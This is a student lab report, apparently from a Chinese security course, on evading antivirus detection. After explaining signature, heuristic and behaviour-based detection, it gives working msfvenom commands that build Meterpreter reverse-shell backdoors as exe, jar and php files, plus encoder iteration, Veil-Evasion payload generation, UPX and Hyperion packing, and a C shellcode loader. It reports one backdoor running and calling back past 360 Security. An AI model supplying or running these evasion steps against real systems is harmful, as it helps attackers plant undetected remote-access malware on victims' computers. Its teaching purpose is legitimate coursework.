一、恶意代码检测机制和免杀原理
1.恶意软件检测机制
- 基于特征码的检测
- 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库
- 启发式恶意软件检测
- “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 优点:
- 可以检测0-day恶意软件
- 具有一定通用性
- 缺点:
- 实时监控系统行为,开销稍多
- 没有基于特征码的精确度高
- 基于行为的恶意软件检测
- 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式
2.免杀技术(Evading AV)
-
改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
-
改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
-
非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
二、实验内容
1.任务一:正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、使用C + shellcode编程、使用其他课堂未介绍方法
1.正确使用msf编码器,生成exe文件
-
实验二中使用msf生成了后门程序
backdoor5322.exe
,使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描 -
用VirusTotal扫描后结果如下:
-
一次编码:
-
-e
选择编码器,-b
是payload中需要清除的字符,该命令中为了使x00
不出现在shellcode中,因为shellcode以x00
为结束符 -
生成过程:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.132.1 LPORT=5322 -f exe > encoded1.exe
-
检测:
-
-
十次编码:
-
使用
-i
设置迭代次数 -
生成过程:
-
检测:
-
-
结论:
- AV厂商研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码
- msfvenom会生成固定模板的exe文件,因此其具有一定特征,一般的AV厂商也会针对其模板生成特征码来进行查杀
- 如果使用msfvenom免杀,最好使用原生的模板
2.msfvenom生成如jar之类的其他文件
-
msfvenom生成jar文件
-
生成过程:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.132.1 LPORT=5322 x> zyh_backdoor_java.jar
-
检测:
-
-
mfsvenom生成php文件
-
生成过程:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.132.1 LPORT=5322 x> zyh_backdoor.php
-
检测:
-
3.veil
- 安装veil:
-
apt-get install veil
-
cd /usr/share/veil/config/
进入文件夹 -
vim setup.sh
,编辑第251行,把github仓库改成码云的仓库:https://gitee.com/spears/VeilDependencies.git
-
veil
,所有安装默认 -
安装中显示错误
[!] ERROR #2-3: Can't find the WINE profile for AuotIT v3...
:
-
执行如下命令:
/usr/share/veil/config/setup.sh --force --silent
-
执行以上命令后,将自动修复错误。执行完成后,看到如下提示信息:
[I] If you have any errors running Veil, run: './Veil.py --setup' and select the nuke the wine folder option [I] Done!
- 看到以上信息,则表示初始化成功。此时,重新执行veil命令,即可成功启动Veil-Evasion工具
-
- 使用veil-evasion生成后门程序及检测
-
输入
veil
指令,进入如下页面:
-
输入
use evasion
命令进入veil-evasion:
-
输入
use c/meterpreter/rev_tcp.py
进入配置界面:
-
设置反弹连接IP:
set LHOST 192.168.132.138
(此处为KaliIP),端口:set LPORT 5322
-
输入
generate
生成文件,接着输入你想要payload的名字:veil_c_5322
-
检测:
-
4.加壳工具
-
使用压缩壳:UPX
-
给之前的20175322.exe加个壳得到zyh_upxed.exe:
-
运行之后被判断为威胁:
-
添加白名单测试反弹连接:
-
检测:
-
-
使用加密壳:Hyperion
-
将上一个生成的文件拷贝到
/usr/share/windows-resources/hyperion/
目录中 -
进入目录
/usr/share/windows-resources/hyperion/
-
输入命令
wine hyperion.exe -v zyh_upxed.exe zyh_upxed_Hyperion.exe
进行加壳:
-
检测:
-
5.使用C + shellcode编程
-
使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.132.138 LPORT=5322 -f c
生成一段shellcode:
-
创建一个文件
20175215.c
,然后将unsigned char buf[]
赋值到其中,代码如下:
unsigned char buf[] =
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
此处省略
"xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
-
输入
i686-w64-mingw32-g++ 20175322.c -o 20175322.exe
,将此文件编译为可执行文件:
-
检测:
-
windows运行后被判断为威胁:
6.使用其他课堂未介绍方法
- 使用Veil-Evasion的其他载荷生成后门
-
输入命令
veil
启动, 用use evasion
命令进入Evil-Evasion
-
输入
list
查看其他可用的有效荷载
-
输入命令
use 25
-
运行
generate
生成有效载荷,设置目标机IP和端口,选2用Py2Exe生成py程序:
-
检测:
-
2.任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
-
嵌入式Shellcode
-
手动实现Shellcode的加载工作,只生成shellcode,降低VirusTotal的命中率
-
使用msf生成一段shellcode
-
再将其写入shellcode中
-
结合压缩壳达到了初步免杀的目的
3.任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 本机上的联想电脑管家和迈克菲杀毒软件太给力,多次尝试不同的免杀方法都未能成功,最后在虚拟机上下载360安全卫士进行尝试成功
- 虚拟机:win7;360安全卫士版本:12.1.0.1004 ;备用木马库:2020-03-24
- 最后我用强力查杀模式查杀时后门被检测出来,然后进行普通查杀也能发现加壳的后门了
三、基础问题回答与实验感想
1.基础问题回答
(1)杀软是如何检测出恶意代码的?
- 杀软检测恶意代码的方式有下列三种:
- 基于特征码的检测:如果一个可执行文件(或其他运行的库、脚本等)包含被标记过特征的数据则被认为是恶意代码
- 启发式恶意软件检测:就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,它就被当做了恶意软件
- 基于行为的恶意软件检测:相当于是启发式的一种,或者是加入了行为监控的启发式
(2)免杀是做什么?
- 通过使用一些特殊手段,让安插在被控机器的恶意代码不被杀毒软件发现
(3)免杀的基本方法有哪些?
- 改变特征码(改变机器指令):
- 有EXE——加壳:压缩壳、加密壳
- 有shellcode(像Meterpreter)——用encode进行编码、基于playload重新编译生成可执行文件
- 有源代码——用其他语言进行重写再编译(veil-evasion)
- 改变行为:
- 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据
- 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
2.实验感想
- 这次实验更加贴近生活实际,不光单单生成后门程序,还要通过各种各样的方式伪装避开杀软获得主机权限
- 实验中证明:360的保护效果不太理想,迈克菲和联想电脑管家还是靠谱的
- 对veil有了初步的应用和了解,在免杀方面我还有很多需要学习